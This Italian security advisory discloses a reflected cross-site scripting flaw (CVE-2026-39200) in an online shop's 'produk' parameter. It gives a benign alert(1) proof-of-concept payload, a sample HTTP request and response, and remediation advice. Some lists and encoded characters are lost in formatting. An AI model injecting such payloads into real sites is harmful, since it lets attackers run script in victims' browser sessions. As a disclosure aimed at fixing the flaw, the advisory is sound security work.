
Il valore del parametro di richiesta produk viene copiato nel valore di un attributo di un tag HTML racchiuso tra virgolette doppie. Il payload xbnw0"><script>alert(1)</script>skc2h è stato inviato nel parametro produk. Questo input è stato restituito come xbnw0\"><script>alert(1)</script>skc2h nella risposta dell'applicazione.
Una vulnerabilità di Cross-Site Scripting (XSS) riflesso è stata identificata nel parametro della richiesta produk dell'applicazione web Toko Online RotI. L'applicazione non codifica in HTML l'input fornito dall'utente prima di rifletterlo all'interno di un attributo di un tag HTML racchiuso tra virgolette doppie. Un attaccante può creare un URL malevolo che, quando visitato da una vittima, esegue JavaScript arbitrario nel contesto della sessione del browser della vittima.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-39200 |
| Tipo di vulnerabilità | CWE-79 — Neutralizzazione impropria dell'input durante la generazione di pagine web (XSS riflesso) |
| Prodotto interessato | Toko Online RotI (negozio online indonesiano) |
| Parametro interessato | produk |
| Scopritore | Uzair Ali (r00tali) — Penetration Tester / Cacciatore di Bug / Ricercatore di Sicurezza |
| Data di scoperta | 2026-07-03 |
| CVE assegnato | 2026-07-12 |
| Avviso pubblicato | 2026-07-19 |
Il parametro della richiesta produk viene copiato letteralmente nel valore di un attributo di un tag HTML racchiuso tra virgolette doppie. Poiché l'applicazione non codifica in HTML l'input fornito dall'utente prima di rifletterlo, un attaccante può uscire dall'attributo inviando un payload che contiene una virgoletta doppia di chiusura seguita da un payload HTML/JavaScript.
xbnw0"><script>alert(1)</script>skc2h
Quando questo payload viene inviato come parametro produk, l'applicazione restituisce l'input nella risposta non escapato. La sequenza di chiusura "> termina l'attributo originale, e il blocco iniettato <script>alert(1)</script> viene interpretato dal browser come un nuovo elemento HTML, eseguendo JavaScript arbitrario nella sessione dell'utente.
La risposta HTML vulnerabile si presenta così:
<!-- PRIMA dell'iniezione -->
<input type="text" name="produk" value="USER_INPUT" />
<!-- DOPO l'iniezione con payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
Il browser esegue questo
GET /[endpoint-vulnerabile]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [host-target]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk all'interno di un attributo HTML (ad esempio, una pagina di ricerca, dettaglio o filtro di un prodotto).produk con il seguente payload:
xbnw0"><script>alert(1)</script>skc2h
" e producendo un elemento <script> valido nel DOM.alert(1), confermando l'esecuzione di JavaScript arbitrario nella sessione della vittima.Un exploit riuscito di questo XSS riflesso consente a un attaccante di:
Poiché la vulnerabilità è riflessa, lo sfruttamento richiede solo che una vittima clicchi su un link appositamente creato, rendendo questo banalmente utilizzabile in campagne di phishing.
CVSS v3.1 (stimato): 6.1 (Medio) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Per mitigare questa vulnerabilità, il venditore dovrebbe:
<, >, ", ', e & (ad es., <, >, ", ', &).htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) o sintassi <%: %>{{ input }} (auto-escaping predefinito)| Data | Evento |
|---|---|
| 2026-07-03 | Vulnerabilità scoperta durante test di sicurezza autorizzati |
| 2026-07-03 | Richiesto ID CVE a MITRE tramite cveform.mitre.org |
| 2026-07-12 | CVE-2026-39200 assegnato dal team di assegnazione MITRE |
Uzair Ali (r00tali) — Penetration Tester / Cacciatore di Bug / Ricercatore di Sicurezza
Questo avviso è pubblicato solo a scopi educativi e difensivi. La vulnerabilità è stata segnalata attraverso il processo di divulgazione responsabile tramite il team di assegnazione CVE di MITRE. Non vengono divulgate informazioni riservate del venditore, dati dei clienti o codice proprietario. Il proof-of-concept utilizza un payload benigno alert(1) ed è inteso a dimostrare l'esistenza del bug, non a facilitare attacchi contro il servizio live.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly e Secure su tutti i cookie di sessione per impedire a JavaScript di leggerli.produk rispetto a una lista consentita di identificatori di prodotto attesi (ID numerici, slug, ecc.) e rifiutare tutto ciò che non corrisponde.X-Content-Type-Options: nosniff per prevenire lo sniffing del tipo MIME dei corpi delle risposte.| 2026-07-19 |
| Avviso pubblico pubblicato |